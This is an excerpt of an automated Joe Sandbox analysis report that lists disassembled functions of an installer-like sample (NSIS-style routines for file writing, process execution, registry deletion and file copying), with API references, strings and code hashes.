Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: @bG$RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-3206598305
Opcode ID: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction ID: 195d9f7db6fc7c0c2d4377fc833027156c916e626c5a885f84869a8699de3d55
Opcode Fuzzy Hash: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction Fuzzy Hash: 0121C271500240EBD710ABA8DD88D9B3B6CEB06334B118336F52ABA1E1D7389D85C7AC

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction ID: bd1c3f70b2adfd396ae192ad3b35d3c6df9fc0ba6a3ee2c413e2f7d1cf6bca0f
Opcode Fuzzy Hash: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction Fuzzy Hash: CF319E72800115ABDB11AFA9CD89DAF7FB9EF08364F10023AF515B61E1C7394E419B98

Function 004023F0 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00425D76,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00425D76,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00425D76,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: Could not load %s, xrefs: 004024DB
`G, xrefs: 0040246E
Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: %s not found in %s, xrefs: 0040249A

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s$`G
API String ID: 1033533793-4193110038
Opcode ID: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction ID: ac94b2829880799def153f2ab6d9fb01897d962df66ba524602deb4d09d833fb
Opcode Fuzzy Hash: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction Fuzzy Hash: AE21A635A00215FBDF20AFA1CE49A9D7E71AB44318F30817BF512761E1D6BD4A80DA5D

Function 00403DF6 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403E10
GetSysColor.USER32(00000000), ref: 00403E2C
SetTextColor.GDI32(?,00000000), ref: 00403E38
SetBkMode.GDI32(?,?), ref: 00403E44
GetSysColor.USER32(?), ref: 00403E57
SetBkColor.GDI32(?,?), ref: 00403E67
DeleteObject.GDI32(?), ref: 00403E81
CreateBrushIndirect.GDI32(?), ref: 00403E8B

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction ID: 46e75ec11a9703e62b9e59528547c83071966f0b6f932d53464b5ad1ffaeee7a
Opcode Fuzzy Hash: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction Fuzzy Hash: CA116371500744ABCB219F78DD08B5BBFF8AF40715F048A2AE895E22A1D738DA44CB94

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00425D76,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00425D76,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00425D76,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00405C6B: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
Part of subcall function 00405C6B: CloseHandle.KERNEL32(?), ref: 00405C9D

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: failed createprocess ("%s"), xrefs: 004022C2
Exec: success ("%s"), xrefs: 00402263
Exec: command="%s", xrefs: 00402241

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction ID: 042007ee205ef60e30064d08c60082207347e2967af2fac5581f577c4c1081ae
Opcode Fuzzy Hash: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction Fuzzy Hash: 4E11A332504115EBDB01BFE1DE49AAE3A62EF04324B24807FF502B51D2C7BD4D51DA9D

Function 0040487A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404895
GetMessagePos.USER32 ref: 0040489D
ScreenToClient.USER32(?,?), ref: 004048B5
SendMessageW.USER32(?,00001111,00000000,?), ref: 004048C7
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048ED

Strings

f, xrefs: 004048C9

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction ID: ebefa7930bdcd0e41c689069c6d494cf412fee4c497549fa98469d3d4217857c
Opcode Fuzzy Hash: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction Fuzzy Hash: 7A019E72A00219BAEB00DB94CC85BEEBBB8AF44710F10412ABB10B61D0C3B45A058BA4

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00011A00,00000064,00419C07), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction ID: b5f4dff99bd495ec87a9693a0662ffae913500554fa258d9a040327637eece45
Opcode Fuzzy Hash: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction Fuzzy Hash: F8014470640109BBEF109F60DC4AFEE3B68AB00309F008439FA05E51E1DB789A55CF58

Function 00406064 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
CharNextW.USER32(?,?,?,00000000), ref: 004060D6
CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Strings

*?|<>/":, xrefs: 004060B6

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction ID: be175804d259169a812840791ea7ca7df426672d81dd27f3292f2fdf866f60ab
Opcode Fuzzy Hash: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction Fuzzy Hash: E311C81188022159DB30FB698C4497776F8AE55750716843FE9CAF32C1E7BCDC9182BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction ID: c67b0bc93acae55c3864b02ebd95f02f7c15995ce12be8144693d1f813214158
Opcode Fuzzy Hash: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction Fuzzy Hash: EB117976500008FFDF119F90ED859AA3B7AFB84348F004476FA0AB5070D3358E509A29

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction ID: 8f71947f799b2f64a69df86d2a8dcb393400c967cd863db52f2ee5b4f8782dab
Opcode Fuzzy Hash: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction Fuzzy Hash: 9DF012B2A00104BFE700EBA4EE89DEFBBBCEB04305B104575F502F6162C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction ID: 6a5c1514d43e21eed083d94b15ba6593763dc9af2b3e6337d8774d5f4809249f
Opcode Fuzzy Hash: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction Fuzzy Hash: 56217171900209BADF15AFB4D886ABE7BB9EF04349F10413EF602F60E2D6794A40D758

Function 004043D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00451D98,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00451D98,?), ref: 00404476
wsprintfW.USER32 ref: 00404483
SetDlgItemTextW.USER32(?,00451D98,000000DF), ref: 00404496

Strings

%u.%u%s%s, xrefs: 00404470

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction ID: 019992b557dc20c415266b5889428492ee6a52d86c3b4952972254649920ef77
Opcode Fuzzy Hash: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction Fuzzy Hash: DC11527270021477CF10AA699D45F9E765EEBC5334F10423BF519F31E1D6388A158259

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

DeleteRegValue: "%s\%s" "%s", xrefs: 00402820
DeleteRegKey: "%s\%s", xrefs: 00402843

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction ID: 70287f52249eeba914cab3bee2f8f529b2cd5257afac1a85b0186071c419a2a5
Opcode Fuzzy Hash: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction Fuzzy Hash: 2511E732E00200ABDB10FFA5DD4AABE3A64EF40354F10403FF50AB61D2D6798E50C6AD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406301: FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
Part of subcall function 00406301: FindClose.KERNEL32(00000000), ref: 00406318

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
